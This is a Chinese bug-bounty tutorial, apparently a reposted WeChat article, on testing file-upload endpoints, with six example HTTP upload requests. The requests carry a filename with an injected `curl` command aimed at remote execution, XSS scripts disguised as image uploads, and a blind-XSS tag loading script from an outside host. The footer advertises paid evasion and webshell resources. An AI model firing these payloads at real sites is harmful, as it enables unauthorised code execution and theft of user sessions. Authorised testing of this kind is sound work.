赏金猎人系列-如何测试文件上传功能-II
2023-1-25 20:43:6 Author: 渗透安全团队(查看原文) 阅读量:26 收藏

赏金猎人系列-如何测试文件上传功能-II

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

接前文: 赏金猎人系列-如何测试文件上传功能

本文继续讲解如何测试文件上传功能

正文

第八种情况

尝试在文件名这里注入命令curl me.com,看可否有RCE

POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="filename"
`curl me.com`
---------------------------------------WebKitFormBoundary--

第九种情况

文件名改为 file.''gif,

content改为类似: <html><script> alert('XSS ');</script></html>

Content Type 改为 image/png

 
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="file.''gif" 
Content-Type: image/png
GIF8
<html><script>alert('XSS');</script></html>
------WebKitFormBoundary--

第十种情况

文件名插入大量的字符或者数字

POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="xxxxx+.png" 
Content-Type: image/png
------WebKitFormBoundary--

第十一种情况

content改为blind xss的payload:<html><head>><script src=https://me.xss.ht></script></head><body></body></html>

 
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="file.html" 
Content-Type: image/png
<html><head>><script src=https://me.xss.ht>
</script></head><body></body></html>
------WebKitFormBoundary--

第十二种情况

content改为 xss的payload: <html><body><head> <html><script>alert('XSS');</script></html></head></body></html>

 
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="file.html" 
Content-Type: text/html 
<html><body><head><script>
alert('XSS');</script></html></head></body></html>
------WebKitFormBoundary--

第十三种情况

针对 Unallowed Type 和 Allowed Type分别设置两次和一次的Content-Type

下面举个Unallowed Type的例子:

 
POST /fileUpload HTTP/1.1
Host: company.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary 
Content-Length: Number

Content-Disposition: form-data; name="file"; filename="file.png" 
Content-Type: text/html
Content-Type: image/png 
<html><body><head><script>
alert('XSS');</script></html></head></body></html>
------WebKitFormBoundary--

参考

https://infosecwriteups.com/command-injection-poc-72cc3743f10d

https://anotherhackerblog.com/exploiting-file-uploads-pt1/

https://anotherhackerblog.com/exploiting-file-uploads-pt-2/

https://websecblog.com/vulns/googleplex-com-blind-xss/

https://twitter.com/intigriti/status/1371454019533692930


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示


关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247496869&idx=2&sn=0f77a47aa53db76cd2caf59916c690be&chksm=c176090af601801cd7827cd97aa0023bb345166a58356a5666be6cdd04e1eafa35b0395cc554#rd
如有侵权请联系:admin#unsafe.sh